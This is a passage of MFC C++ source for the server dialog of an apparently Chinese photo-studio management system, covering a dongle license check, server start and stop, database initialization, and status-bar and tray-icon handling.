  266. AfxMessageBox("加密锁已过期, 请与经销商联系!!!");
  267. InputAuthDlg authdlg;
  268. authdlg.m_id=id;
  269. authdlg.m_time1=time1;
  270. authdlg.m_time2=time2;
  271. if(authdlg.DoModal ()!=IDOK)
  272. {
  273. CDialog::OnCancel ();
  274. return false;
  275. }
  276. }
  277. else if((time1-time2) < 288000 ) // 10天 = 10*8*3600=360000 能用天数小于10个工作日(8小时一工作日).
  278. {
  279. DogTimeOutDlg dlg;
  280. dlg.hour=(time1-time2)/3600;
  281. if(dlg.DoModal ()==IDOK)
  282. {
  283. InputAuthDlg authdlg;
  284. authdlg.m_id=id;
  285. authdlg.m_time1=time1;
  286. authdlg.m_time2=time2;
  287. authdlg.DoModal ();
  288. }
  289. }
  290. BOOL bOK=1;
  291. int d[8];double f[8];
  292. char s0[50]="",s1[50]="",s2[50]="",s3[50]="",s4[50]="",s5[50]="",s6[50]="",s7[50]="";
  293. //运行自定义函数
  294. // SoftKey ytSoftKey;
  295. int ret=0;//ytSoftKey.Ini();
  296. ret=SoftKey::GetInstance()->checktime(&d[0],&d[1],&d[2],&d[3],&d[4],&d[5],&d[6],&d[7],
  297. &f[0],&f[1],&f[2],&f[3],&f[4],&f[5],&f[6],&f[7],
  298. s0,s1,s2,s3,s4,s5,s6,s7);
  299. if(ret!=0 && ret!=-43)
  300. {
  301. bOK=0;
  302. }
  303. ////////////////////////写申请码
  304. if(bOK)
  305. {
  306. str=GetRegCode(id, time1, time2);
  307. char path[MAX_PATH];
  308. ::GetSystemDirectory (path, MAX_PATH);
  309. CString sysdir=path;
  310. sysdir+="\\regcode.txt";
  311. CStdioFile fp;
  312. if(fp.Open (sysdir, CFile::modeWrite|CFile::modeCreate))
  313. {
  314. fp.WriteString (str);
  315. fp.Close ();
  316. }
  317. }
  318. /////////////////////////
  319. }
  320. catch(...)
  321. {
  322. }
  323. #endif
  324. #endif
  325. ENCODE_END
  326. OnButton1(); // Jeff 初始化服务端,内含定时器1;
  327. GetFileDate(); // Jeff获取文件信息;
  328. LoadHistoryDB();//Jeff加载历史数据库;
  329. SetTimer(4, 1000, NULL);
  330. SetTimer(2, 10, NULL);
  331. //CheckBakState();// 检查相片备份情况
  332. hInst = LoadLibrary("SENSAPI.DLL"); //加载动态库 ;
  333. if (hInst)
  334. {
  335. typedef BOOL(WINAPI *MYFUNC)(LPDWORD);
  336. MYFUNC IsNetworkConnect = NULL;
  337. //取得IsNetworkAlive函数指针;
  338. IsNetworkConnect = (MYFUNC)GetProcAddress(hInst, "IsNetworkAlive");
  339. if (IsNetworkConnect)
  340. {
  341. DWORD dwActiveWan = 1;
  342. if (IsNetworkConnect(&dwActiveWan))
  343. m_bNetWorkOK = 1;
  344. else
  345. m_bNetWorkOK = 0;
  346. SetTimer(5, 10000, NULL);
  347. }
  348. else
  349. m_bNetWorkOK = 0;
  350. }
  351. else
  352. m_bNetWorkOK = 0;
  353. if ( !CBranchInfo::GetInstance() )
  354. {
  355. AfxMessageBox(_T("内存分配错误"));
  356. return FALSE;
  357. }
  358. if ( !CBranchInfo::GetInstance()->InitCatalog(g_dwDBServerPort, g_szDBSource, g_szDBAccount, g_szDBPassWord, g_szDBName) )
  359. {
  360. AfxMessageBox(_T("初始化数据库连接对象失败"));
  361. return FALSE;
  362. }
  363. CBranchInfo::GetInstance()->GetTblVersion();
  364. CBranchInfo::GetInstance()->GetTblCatalogInfo();
  365. CBranchInfo::GetInstance()->GetTblNetShareInfo();
  366. // 1小时检测一次自动备份和自动删除服务是否启动
  367. // 是否自动检查服务
  368. if(g_bAutoCheckSvc == TRUE)
  369. {
  370. m_hExitCheckSvc = CreateEvent(NULL, FALSE, FALSE, NULL);
  371. m_hWaitTimeOut = CreateEvent(NULL, FALSE, FALSE, NULL);
  372. SetEvent(m_hWaitTimeOut);
  373. unsigned int nThreadID = 0;
  374. m_bStartCheckSvc = TRUE;
  375. m_hCheckSvcThread = (HANDLE)_beginthreadex(NULL, 0, CheckSvcWork, this, 0, &nThreadID);
  376. }
  377. return TRUE;
  378. }
  379. /********************************************************************/
  380. /* */
  381. /* Function name : OnDestroy */
  382. /* Description : Handle WM_DESTROY message */
  383. /* */
  384. /********************************************************************/
  385. void CDBServerDlg::OnDestroy()
  386. {
  387. OnServerStop();
  388. KillTimer(1);
  389. KillTimer(2);
  390. KillTimer(3);
  391. KillTimer(4);
  392. KillTimer(5);
  393. KillTimer(6);
  394. KillTimer(7);
  395. KillTimer(8);
  396. CDialog::OnDestroy();
  397. }
  398. /********************************************************************/
  399. /* */
  400. /* Function name : OnServerStart */
  401. /* Description : Start Date Server -> start listening on port 21 */
  402. /* */
  403. /********************************************************************/
  404. //启动数据服务器,使其在指定端口侦听
  405. void CDBServerDlg::OnServerStart()
  406. {
  407. ServerStart();
  408. }
  409. BOOL CDBServerDlg::ServerStart()
  410. {
  411. if (theServer.Start())
  412. {
  413. m_wndStatusBar.SetPaneText(0, "数据服务已启动", TRUE);
  414. SetOnlineLed(TRUE);
  415. SetOfflineLed(FALSE);
  416. WriteTextLog("启动成功");
  417. return 1;
  418. }
  419. else
  420. {
  421. WriteTextLog("启动失败");
  422. CDialog::OnCancel();
  423. return 0;
  424. }
  425. }
  426. /********************************************************************/
  427. /* */
  428. /* Function name : OnUpdateServerStart */
  429. /* Description : Update 'Start' status */
  430. /* */
  431. /********************************************************************/
  432. void CDBServerDlg::OnUpdateServerStart(CCmdUI* pCmdUI)
  433. {
  434. pCmdUI->Enable(!theServer.IsActive());
  435. }
  436. /********************************************************************/
  437. /* */
  438. /* Function name : OnServerStop */
  439. /* Description : Stop Date Server */
  440. /* */
  441. /********************************************************************/
  442. //停止服务器
  443. void CDBServerDlg::OnServerStop()
  444. {
  445. theServer.Stop();
  446. m_wndStatusBar.SetPaneText(0, "数据服务已停止", TRUE);
  447. SetOnlineLed(FALSE);
  448. SetOfflineLed(TRUE);
  449. }
  450. /********************************************************************/
  451. /* */
  452. /* Function name : OnUpdateServerStop */
  453. /* Description : Update 'Stop' status */
  454. /* */
  455. /********************************************************************/
  456. void CDBServerDlg::OnUpdateServerStop(CCmdUI* pCmdUI)
  457. {
  458. pCmdUI->Enable(theServer.IsActive());
  459. }
  460. /********************************************************************/
  461. /* */
  462. /* Function name : OnServerExit */
  463. /* Description : Let's get out of here... */
  464. /* */
  465. /********************************************************************/
  466. void CDBServerDlg::OnServerExit()
  467. {
  468. OnCancel();
  469. }
  470. /********************************************************************/
  471. /* */
  472. /* Function name : CDBServerDlg::SetupOutlookBar */
  473. /* Description : Initialize listview, change color/iconspacing to */
  474. /* make it look a little bit like the outlook bar. */
  475. /* */
  476. /********************************************************************/
  477. void CDBServerDlg::SetupOutlookBar()
  478. {
  479. m_ImageList.Create(32, 32, ILC_COLOR16 | ILC_MASK, 1, 4);
  480. HICON hIcon = ::LoadIcon(AfxGetResourceHandle(), MAKEINTRESOURCE(IDI_LOG));
  481. m_ImageList.Add(hIcon);
  482. hIcon = ::LoadIcon(AfxGetResourceHandle(), MAKEINTRESOURCE(IDI_ONLINE_USERS));
  483. m_ImageList.Add(hIcon);
  484. hIcon = ::LoadIcon(AfxGetResourceHandle(), MAKEINTRESOURCE(IDI_CONFIGURATION));
  485. m_ImageList.Add(hIcon);
  486. hIcon = ::LoadIcon(AfxGetResourceHandle(), MAKEINTRESOURCE(IDI_SECURITY));
  487. m_ImageList.Add(hIcon);
  488. hIcon = ::LoadIcon(AfxGetResourceHandle(), MAKEINTRESOURCE(IDI_STATISTICS));
  489. m_ImageList.Add(hIcon);
  490. m_OutlookBar.SetImageList(&m_ImageList, LVSIL_NORMAL);
  491. CRect rc;
  492. m_OutlookBar.GetClientRect(rc);
  493. // set new icon spacing
  494. m_OutlookBar.SetIconSpacing(rc.Width(), 64);
  495. // change colors
  496. m_OutlookBar.SetTextColor(RGB(255, 255, 255));
  497. m_OutlookBar.SetTextBkColor(RGB(128, 128, 128));
  498. m_OutlookBar.SetBkColor(RGB(128, 128, 128));
  499. // insert items
  500. m_OutlookBar.InsertColumn(0, "OutlookBar");
  501. m_OutlookBar.InsertItem(0, "服务器日志", 0);
  502. m_OutlookBar.InsertItem(1, "在线用户", 1);
  503. m_OutlookBar.InsertItem(2, "关于", 2);
  504. m_OutlookBar.InsertItem(3, "功能区", 3);
  505. }
  506. /********************************************************************/
  507. /* */
  508. /* Function name : CDBServerDlg::MoveChilds */
  509. /* Description : Move child windows into place holder area. */
  510. /* */
  511. /********************************************************************/
  512. void CDBServerDlg::MoveChilds()
  513. {
  514. // position property pages
  515. CRect rcDlgs;
  516. // get dialog area rect
  517. GetDlgItem(IDC_DIALOG_AREA)->GetWindowRect(rcDlgs);
  518. ScreenToClient(rcDlgs);
  519. m_ConfigurationPage.MoveWindow(rcDlgs);
  520. m_TracePage.MoveWindow(rcDlgs);
  521. m_OnlineUsersPage.MoveWindow(rcDlgs);
  522. m_StatisticsPage.MoveWindow(rcDlgs);
  523. m_SecurityPage.MoveWindow(rcDlgs);
  524. }
  525. /********************************************************************/
  526. /* */
  527. /* Function name : CDBServerDlg::ActivatePage */
  528. /* Description : Called when an icon on the outlookbar is pressed.*/
  529. /* */
  530. /********************************************************************/
  531. void CDBServerDlg::ActivatePage(int nIndex)
  532. {
  533. switch (nIndex)
  534. {
  535. case 0:
  536. m_OnlineUsersPage.ShowWindow(SW_HIDE);
  537. m_ConfigurationPage.ShowWindow(SW_HIDE);
  538. m_StatisticsPage.ShowWindow(SW_HIDE);
  539. m_SecurityPage.ShowWindow(SW_HIDE);
  540. m_TracePage.ShowWindow(SW_SHOW);
  541. m_InfobarCtrl.SetText("服务器日志");
  542. break;
  543. case 1:
  544. m_TracePage.ShowWindow(SW_HIDE);
  545. m_ConfigurationPage.ShowWindow(SW_HIDE);
  546. m_StatisticsPage.ShowWindow(SW_HIDE);
  547. m_SecurityPage.ShowWindow(SW_HIDE);
  548. m_OnlineUsersPage.RefreshData();
  549. m_OnlineUsersPage.ShowWindow(SW_SHOW);
  550. m_InfobarCtrl.SetText("在线用户");
  551. break;
  552. case 2:
  553. m_OnlineUsersPage.ShowWindow(SW_HIDE);
  554. m_TracePage.ShowWindow(SW_HIDE);
  555. m_StatisticsPage.ShowWindow(SW_HIDE);
  556. m_SecurityPage.ShowWindow(SW_HIDE);
  557. m_ConfigurationPage.ShowWindow(SW_SHOW);
  558. m_InfobarCtrl.SetText("关于");
  559. break;
  560. case 4:
  561. m_OnlineUsersPage.ShowWindow(SW_HIDE);
  562. m_TracePage.ShowWindow(SW_HIDE);
  563. m_ConfigurationPage.ShowWindow(SW_HIDE);
  564. m_SecurityPage.ShowWindow(SW_HIDE);
  565. m_StatisticsPage.ShowWindow(SW_SHOW);
  566. m_InfobarCtrl.SetText("Statistics");
  567. break;
  568. case 3:
  569. m_OnlineUsersPage.ShowWindow(SW_HIDE);
  570. m_TracePage.ShowWindow(SW_HIDE);
  571. m_ConfigurationPage.ShowWindow(SW_HIDE);
  572. m_SecurityPage.ShowWindow(SW_SHOW);
  573. m_StatisticsPage.ShowWindow(SW_HIDE);
  574. m_InfobarCtrl.SetText("功能区");
  575. break;
  576. default:
  577. break;
  578. }
  579. MoveChilds();
  580. }
  581. /********************************************************************/
  582. /* */
  583. /* Function name : CDBServerDlg::OnClickOutlookBar */
  584. /* Description : User clicked on our listview -> activate page. */
  585. /* */
  586. /********************************************************************/
  587. void CDBServerDlg::OnClickOutlookBar(NMHDR* pNMHDR, LRESULT* pResult)
  588. {
  589. // get index of selected item
  590. int nIndex = m_OutlookBar.GetNextItem(-1, LVNI_ALL | LVNI_SELECTED);
  591. if (nIndex == -1)
  592. return;
  593. ActivatePage(nIndex);
  594. *pResult = 0;
  595. }
  596. /********************************************************************/
  597. /* */
  598. /* Function name : CDBServerDlg::OnKeydownOutlookBar */
  599. /* Description : User pressed a key -> activate page. */
  600. /* */
  601. /********************************************************************/
  602. void CDBServerDlg::OnKeydownOutlookBar(NMHDR* pNMHDR, LRESULT* pResult)
  603. {
  604. LV_KEYDOWN* pLVKeyDow = (LV_KEYDOWN*)pNMHDR;
  605. // get index of selected item
  606. int nIndex = m_OutlookBar.GetNextItem(-1, LVNI_ALL | LVNI_SELECTED);
  607. if (nIndex == -1)
  608. return;
  609. if (pLVKeyDow->wVKey == VK_DOWN)
  610. {
  611. if (m_OutlookBar.GetItemCount() - 1 > nIndex)
  612. {
  613. ActivatePage(nIndex + 1);
  614. }
  615. }
  616. else if (pLVKeyDow->wVKey == VK_UP)
  617. {
  618. if (nIndex > 0)
  619. {
  620. ActivatePage(nIndex - 1);
  621. }
  622. }
  623. else if (pLVKeyDow->wVKey == VK_NEXT)
  624. {
  625. ActivatePage(m_OutlookBar.GetItemCount() - 1);
  626. }
  627. else if (pLVKeyDow->wVKey == VK_PRIOR)
  628. {
  629. ActivatePage(0);
  630. }
  631. *pResult = 0;
  632. }
  633. /********************************************************************/
  634. /* */
  635. /* Function name : CreateStatusbar */
  636. /* Description : This function creates a statusbar on a dialogbox.*/
  637. /* */
  638. /********************************************************************/
  639. BOOL CDBServerDlg::CreateStatusbar()
  640. {
  641. // Create the Toolbar and attach the resource
  642. if (!m_wndToolBar.Create(this) || !m_wndToolBar.LoadToolBar(IDR_TOOLBAR1))
  643. {
  644. TRACE0("Failed to Create Dialog Toolbar\n");
  645. return FALSE;
  646. }
  647. m_wndToolBar.SetBarStyle(m_wndToolBar.GetBarStyle() | CBRS_SIZE_DYNAMIC | CBRS_TOOLTIPS | CBRS_FLYBY);
  648. // Make it flat.
  649. m_wndToolBar.ModifyStyle(0, m_wndToolBar.GetStyle() | TBSTYLE_FLAT);
  650. // Create status bar at the bottom of the dialog window
  651. if (m_wndStatusBar.Create(this))
  652. {
  653. m_wndStatusBar.SetIndicators(auIDStatusBar, sizeof(auIDStatusBar) / sizeof(UINT));
  654. m_wndStatusBar.SetPaneText(0, "Date Server is offline", TRUE);
  655. // Make a sunken or recessed border around the first pane
  656. m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_STRETCH, NULL);
  657. SetOnlineLed(FALSE);
  658. SetOfflineLed(FALSE);
  659. m_wndStatusBar.SetPaneInfo(m_wndStatusBar.CommandToIndex(ID_INDICATOR_ONLINELED), ID_INDICATOR_ONLINELED, SBPS_NOBORDERS, 14);
  660. // m_wndStatusBar.GetStatusBarCtrl().SetTipText(m_wndStatusBar.CommandToIndex(ID_INDICATOR_ONLINELED), "This status light is green when the server is online");
  661. m_wndStatusBar.SetPaneInfo(m_wndStatusBar.CommandToIndex(ID_INDICATOR_OFFLINELED), ID_INDICATOR_OFFLINELED, SBPS_NOBORDERS, 14);
  662. // m_wndStatusBar.GetStatusBarCtrl().SetTipText(m_wndStatusBar.CommandToIndex(ID_INDICATOR_OFFLINELED), "This status light is green when the server is online");
  663. }
  664. // We need to resize the dialog to make room for control bars.
  665. // First, figure out how big the control bars are.
  666. CRect rcClientStart;
  667. CRect rcClientNow;
  668. GetClientRect(rcClientStart);
  669. RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0, reposQuery, rcClientNow);
  670. // Now move all the controls so they are in the same relative
  671. // position within the remaining client area as they would be
  672. // with no control bars.
  673. CPoint ptOffset(rcClientNow.left - rcClientStart.left, rcClientNow.top - rcClientStart.top);
  674. CRect rcChild;
  675. CWnd* pwndChild = GetWindow(GW_CHILD);
  676. while (pwndChild)
  677. {
  678. pwndChild->GetWindowRect(rcChild);
  679. ScreenToClient(rcChild);
  680. rcChild.OffsetRect(ptOffset);
  681. pwndChild->MoveWindow(rcChild, FALSE);
  682. pwndChild = pwndChild->GetNextWindow();
  683. }
  684. // Adjust the dialog window dimensions
  685. CRect rcWindow;
  686. GetWindowRect(rcWindow);
  687. rcWindow.right += rcClientStart.Width() - rcClientNow.Width();
  688. rcWindow.bottom += rcClientStart.Height() - rcClientNow.Height();
  689. MoveWindow(rcWindow, FALSE);
  690. // And position the control bars
  691. RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0);
  692. return TRUE;
  693. }
  694. /********************************************************************/
  695. /* */
  696. /* Function name : OnUserAccounts */
  697. /* Description : Show user accounts. */
  698. /* */
  699. /********************************************************************/
  700. void CDBServerDlg::OnUserAccounts()
  701. {
  702. /*
  703. CUserAccountsDlg dlg;
  704. theServer.m_UserManager.GetUserList(dlg.m_UserArray);
  705. if (dlg.DoModal() == IDOK)
  706. {
  707. theServer.m_UserManager.UpdateUserList(dlg.m_UserArray);
  708. }*/
  709. }
  710. /********************************************************************/
  711. /* */
  712. /* Function name : OnFTPUserConnected */
  713. /* Description : A user has connected to our server. */
  714. /* */
  715. /********************************************************************/
  716. void CDBServerDlg::OnFTPUserConnected(DWORD nThreadID, LPCTSTR lpszUser, LPCSTR lpszAddress)
  717. {
  718. m_OnlineUsersPage.AddUser(nThreadID, lpszUser, lpszAddress);
  719. }
  720. /********************************************************************/
  721. /* */
  722. /* Function name : OnFTPUserDisconnected */
  723. /* Description : A user has disconnected from our server. */
  724. /* */
  725. /********************************************************************/
  726. void CDBServerDlg::OnFTPUserDisconnected(DWORD nThreadID, LPCTSTR lpszUser)
  727. {
  728. m_OnlineUsersPage.RemoveUser(nThreadID);
  729. }
  730. /********************************************************************/
  731. /* */
  732. /* Function name : OnFTPStatusChange */
  733. /* Description : FTP Status changed. */
  734. /* */
  735. /********************************************************************/
  736. void CDBServerDlg::OnFTPStatusChange(int nType, LPCTSTR lpszText)
  737. {
  738. m_TracePage.AddTraceLine(nType, lpszText);
  739. switch (nType)
  740. {
  741. case 3:
  742. theApp.m_LogFile << error_lvl << date << time << lpszText << endl;
  743. break;
  744. default:
  745. theApp.m_LogFile << trace_lvl << date << time << lpszText << endl;
  746. break;
  747. }
  748. }
  749. /********************************************************************/
  750. /* */
  751. /* Function name : OnFTPReceivedBytesChange */
  752. /* Description : Number of received bytes has changed. */
  753. /* */
  754. /********************************************************************/
  755. void CDBServerDlg::OnFTPReceivedBytesChange(int nBytes)
  756. {
  757. m_StatisticsPage.SetValue(6, FormatSize(nBytes, 0));
  758. CString strStatus;
  759. strStatus.Format("%s received", FormatSize(nBytes, 0));
  760. m_wndStatusBar.SetPaneText(m_wndStatusBar.CommandToIndex(ID_INDICATOR_DATA_RECEIVED), strStatus, TRUE);
  761. CClientDC dc(this);
  762. CSize size = dc.GetTextExtent(strStatus);
  763. m_wndStatusBar.SetPaneInfo(m_wndStatusBar.CommandToIndex(ID_INDICATOR_DATA_RECEIVED), ID_INDICATOR_DATA_RECEIVED, SBPS_NORMAL, size.cx);
  764. }
  765. /********************************************************************/
  766. /* */
  767. /* Function name : OnFTPSentBytesChange */
  768. /* Description : Number of sent bytes has changed. */
  769. /* */
  770. /********************************************************************/
  771. void CDBServerDlg::OnFTPSentBytesChange(int nBytes)
  772. {
  773. m_StatisticsPage.SetValue(7, FormatSize(nBytes, 0));
  774. CString strStatus;
  775. strStatus.Format("%s sent", FormatSize(nBytes, 0));
  776. m_wndStatusBar.SetPaneText(m_wndStatusBar.CommandToIndex(ID_INDICATOR_DATA_SEND), strStatus, TRUE);
  777. CClientDC dc(this);
  778. CSize size = dc.GetTextExtent(strStatus);
  779. m_wndStatusBar.SetPaneInfo(m_wndStatusBar.CommandToIndex(ID_INDICATOR_DATA_SEND), ID_INDICATOR_DATA_SEND, SBPS_NORMAL, size.cx);
  780. }
  781. /********************************************************************/
  782. /* */
  783. /* Function name : OnViewTrace */
  784. /* Description : Handle menu selection. */
  785. /* */
  786. /********************************************************************/
  787. void CDBServerDlg::OnViewTrace()
  788. {
  789. ActivatePage(0);
  790. }
  791. /********************************************************************/
  792. /* */
  793. /* Function name : OnViewOnlineUsers */
  794. /* Description : Handle menu selection. */
  795. /* */
  796. /********************************************************************/
  797. void CDBServerDlg::OnViewOnlineUsers()
  798. {
  799. ActivatePage(1);
  800. }
  801. /********************************************************************/
  802. /* */
  803. /* Function name : OnViewConfiguration */
  804. /* Description : Handle menu selection. */
  805. /* */
  806. /********************************************************************/
  807. void CDBServerDlg::OnViewConfiguration()
  808. {
  809. ActivatePage(2);
  810. }
  811. /********************************************************************/
  812. /* */
  813. /* Function name : OnViewStatistics */
  814. /* Description : Handle menu selection. */
  815. /* */
  816. /********************************************************************/
  817. void CDBServerDlg::OnViewStatistics()
  818. {
  819. ActivatePage(3);
  820. }
  821. /********************************************************************/
  822. /* */
  823. /* Function name : OnViewSecurity */
  824. /* Description : Handle menu selection. */
  825. /* */
  826. /********************************************************************/
  827. void CDBServerDlg::OnViewSecurity()
  828. {
  829. ActivatePage(4);
  830. }
  831. /********************************************************************/
  832. /* */
  833. /* Function name : OnUpdateViewTrace */
  834. /* Description : Update menu state of Trace item. */
  835. /* */
  836. /********************************************************************/
  837. void CDBServerDlg::OnUpdateViewTrace(CCmdUI* pCmdUI)
  838. {
  839. pCmdUI->SetRadio(m_TracePage.IsWindowVisible());
  840. }
  841. /********************************************************************/
  842. /* */
  843. /* Function name : OnUpdateViewOnlineUsers */
  844. /* Description : Update menu state of Online Users item. */
  845. /* */
  846. /********************************************************************/
  847. void CDBServerDlg::OnUpdateViewOnlineUsers(CCmdUI* pCmdUI)
  848. {
  849. pCmdUI->SetRadio(m_OnlineUsersPage.IsWindowVisible());
  850. }
  851. /********************************************************************/
  852. /* */
  853. /* Function name : OnUpdateViewConfiguration */
  854. /* Description : Update menu state of Configuration item. */
  855. /* */
  856. /********************************************************************/
  857. void CDBServerDlg::OnUpdateViewConfiguration(CCmdUI* pCmdUI)
  858. {
  859. pCmdUI->SetRadio(m_ConfigurationPage.IsWindowVisible());
  860. }
  861. /********************************************************************/
  862. /* */
  863. /* Function name : OnUpdateViewStatistics */
  864. /* Description : Update menu state of Statistics item. */
  865. /* */
  866. /********************************************************************/
  867. void CDBServerDlg::OnUpdateViewStatistics(CCmdUI* pCmdUI)
  868. {
  869. pCmdUI->SetRadio(m_StatisticsPage.IsWindowVisible());
  870. }
  871. /********************************************************************/
  872. /* */
  873. /* Function name : OnUpdateViewSecurity */
  874. /* Description : Update menu state of Security item. */
  875. /* */
  876. /********************************************************************/
  877. void CDBServerDlg::OnUpdateViewSecurity(CCmdUI* pCmdUI)
  878. {
  879. pCmdUI->SetRadio(m_SecurityPage.IsWindowVisible());
  880. }
  881. /********************************************************************/
  882. /* */
  883. /* Function name : SetOnlineLed */
  884. /* Description : Turn online LED on/off. */
  885. /* */
  886. /********************************************************************/
  887. void CDBServerDlg::SetOnlineLed(BOOL bOnline)
  888. {
  889. HICON hIcon = (HICON)::LoadImage(AfxGetInstanceHandle(),
  890. bOnline ? MAKEINTRESOURCE(IDI_LED_GREEN) : MAKEINTRESOURCE(IDI_LED_OFF),
  891. IMAGE_ICON, 16, 16, LR_SHARED);
  892. m_wndStatusBar.GetStatusBarCtrl().SetIcon(m_wndStatusBar.CommandToIndex(ID_INDICATOR_ONLINELED), hIcon);
  893. m_wndStatusBar.GetStatusBarCtrl().Invalidate();
  894. m_wndStatusBar.GetStatusBarCtrl().UpdateWindow();
  895. DestroyIcon(hIcon);
  896. }
  897. /********************************************************************/
  898. /* */
  899. /* Function name : SetOfflineLed */
  900. /* Description : Turn offline LED on/off. */
  901. /* */
  902. /********************************************************************/
  903. void CDBServerDlg::SetOfflineLed(BOOL bOffline)
  904. {
  905. HICON hIcon = (HICON)::LoadImage(AfxGetInstanceHandle(),
  906. bOffline ? MAKEINTRESOURCE(IDI_LED_RED) : MAKEINTRESOURCE(IDI_LED_OFF),
  907. IMAGE_ICON, 16, 16, LR_SHARED);
  908. m_wndStatusBar.GetStatusBarCtrl().SetIcon(m_wndStatusBar.CommandToIndex(ID_INDICATOR_OFFLINELED), hIcon);
  909. m_wndStatusBar.GetStatusBarCtrl().Invalidate();
  910. m_wndStatusBar.GetStatusBarCtrl().UpdateWindow();
  911. DestroyIcon(hIcon);
  912. }
  913. void CDBServerDlg::OnFTPStatisticChange(int nType, int nValue)
  914. {
  915. m_StatisticsPage.SetValue(nType, nValue);
  916. }
  917. /********************************************************************/
  918. /* */
  919. /* Function name : FormatSize */
  920. /* Description : Format size, the way explorer diplays it */
  921. /* */
  922. /********************************************************************/
  923. char* CDBServerDlg::FormatSize(DWORD dwSizeLow, DWORD dwSizeHigh)
  924. {
  925. static char szBuff[100];
  926. unsigned __int64 nFileSize = ((unsigned __int64)(((DWORD)(dwSizeLow)) |
  927. ((unsigned __int64)((DWORD)(dwSizeHigh))) << 32));
  928. unsigned __int64 kb = 0;
  929. if (nFileSize > 1024)
  930. {
  931. kb = nFileSize / 1024;
  932. if (nFileSize % 1024)
  933. kb++;
  934. }
  935. // make it a string
  936. _ui64tot(kb, szBuff, 10);
  937. // add thousand seperators
  938. int nLength = lstrlen(szBuff);
  939. if (nLength > 3)
  940. {
  941. LPCTSTR ptr = szBuff;
  942. ptr += (nLength - 1);
  943. char szTemp[100];
  944. LPTSTR ptrTemp = szTemp;
  945. for (int i = 0; i < nLength; i++)
  946. {
  947. if (i && ((i % 3) == 0))
  948. {
  949. if (*ptrTemp != ',')
  950. {
  951. *ptrTemp = ',';
  952. ptrTemp = _tcsinc(ptrTemp);
  953. }
  954. }
  955. *ptrTemp = *ptr;
  956. ptrTemp = _tcsinc(ptrTemp);
  957. ptr = _tcsdec(szBuff, ptr);
  958. }
  959. // terminate string
  960. *ptrTemp = '\0';
  961. // reverse string
  962. _tcsrev(szTemp);
  963. lstrcpy(szBuff, szTemp);
  964. }
  965. // add 'KB' to it
  966. lstrcat(szBuff, " KB");
  967. return szBuff;
  968. }
  969. /********************************************************************/
  970. /* */
  971. /* Function name : OnAccountWizard */
  972. /* Description : Launch New Account Wizard */
  973. /* */
  974. /********************************************************************/
  975. void CDBServerDlg::OnAccountWizard()
  976. {/*
  977. CBitmap bmpHeader, bmpWatermark;
  978. VERIFY(bmpHeader.LoadBitmap(IDB_BANNER));
  979. VERIFY(bmpWatermark.LoadBitmap(IDB_WATERMARK));
  980. // show windows 2000-like wizard
  981. CWizardSheet wizSheet("New Account Wizard", this, 0, bmpWatermark, NULL, bmpHeader);
  982. wizSheet.m_psh.hInstance = ::GetModuleHandle(NULL);
  983. if (wizSheet.DoModal() == ID_WIZFINISH)
  984. {
  985. CArray<CUser, CUser&> m_UserArray;
  986. theServer.m_UserManager.GetUserList(m_UserArray);
  987. int nIndex = -1;
  988. for (int i = 0; i < m_UserArray.GetSize(); i++)
  989. {
  990. // if it already exists -> update it
  991. if (m_UserArray[i].m_strName.CompareNoCase(wizSheet.m_Page1.m_strAccountName) == 0)
  992. {
  993. nIndex = i;
  994. break;
  995. }
  996. }
  997. // add new account ?
  998. if (nIndex == -1)
  999. {
  1000. CUser user;
  1001. nIndex = m_UserArray.Add(user);
  1002. }
  1003. m_UserArray[nIndex].m_bAccountDisabled = FALSE;
  1004. m_UserArray[nIndex].m_strName = wizSheet.m_Page1.m_strAccountName;
  1005. m_UserArray[nIndex].m_strPassword = wizSheet.m_Page2.m_strPassword;
  1006. // add home directory
  1007. CDirectory directory;
  1008. directory.m_strDir = wizSheet.m_Page3.m_strHomeDirectory;
  1009. directory.m_strAlias = "";
  1010. directory.m_bIsHomeDir = TRUE;
  1011. directory.m_bAllowCreateDirectory = wizSheet.m_Page4.m_bAllowCreateDirectory;
  1012. directory.m_bAllowDelete = wizSheet.m_Page4.m_bAllowDelete;
  1013. directory.m_bAllowDownload = wizSheet.m_Page4.m_bAllowDownload;
  1014. directory.m_bAllowRename = wizSheet.m_Page4.m_bAllowRename;
  1015. directory.m_bAllowUpload = wizSheet.m_Page4.m_bAllowUpload;
  1016. directory.m_strAlias = "";
  1017. m_UserArray[nIndex].m_DirectoryArray.Add(directory);
  1018. // update
  1019. theServer.m_UserManager.UpdateUserList(m_UserArray);
  1020. }*/
  1021. }
  1022. void CDBServerDlg::OnCancel()
  1023. {
  1024. }
  1025. void CDBServerDlg::OnOK()
  1026. {
  1027. }
  1028. void CDBServerDlg::OnButton1() // 启动服务;
  1029. {
  1030. // TODO: Add your control notification handler code here
  1031. try
  1032. {
  1033. theServer.Initialize(this);
  1034. if (ServerStart() == 0)
  1035. return;
  1036. if (g_pSkinData == NULL)
  1037. InitLia();
  1038. /////////////////////
  1039. //MyLock lock("dbaccessxiao");
  1040. CDatabase *pdb = NULL;
  1041. ODBCConnGuard ConnGuard(pdb, -1, 3000);
  1042. if ( pdb == NULL)
  1043. return;
  1044. CRecordset myset(pdb);
  1045. ///////////////////
  1046. CTime tm = CTime::GetCurrentTime();
  1047. CTimeSpan dt2(183, 0, 0, 0);
  1048. tm -= dt2;
  1049. CString date = tm.Format("%Y%m%d%H%M%S");
  1050. CString sql = "delete from sendreg where [status]='OK' and [timestamp]<'" + date + "'";
  1051. pdb->ExecuteSQL(sql);
  1052. //////////////////////////////////
  1053. sql = "select version from version";
  1054. myset.Open(CRecordset::forwardOnly, sql);
  1055. myset.GetFieldValue("version", sql);
  1056. myset.Close();
  1057. m_ConfigurationPage.m_versionno = sql;
  1058. m_ConfigurationPage.UpdateData(0);
  1059. /////////////////////
  1060. }
  1061. catch (CException *e)
  1062. {
  1063. TCHAR szError[1024] = { 0 };
  1064. e->GetErrorMessage(szError, 1024);
  1065. WriteTextLog(CString(szError));
  1066. e->Delete();
  1067. }
  1068. }
  1069. void CDBServerDlg::OnClose()
  1070. {
  1071. m_TrayIcon.Create(this, WM_ICON_NOTIFY, "影楼管理系统服务器", m_hIcon, IDR_MENUtray); //构造
  1072. ShowWindow(SW_HIDE); //隐藏窗口
  1073. }
  1074. LRESULT CDBServerDlg::OnTrayNotification(WPARAM wParam, LPARAM lParam)
  1075. {
  1076. return m_TrayIcon.OnTrayNotification(wParam, lParam);
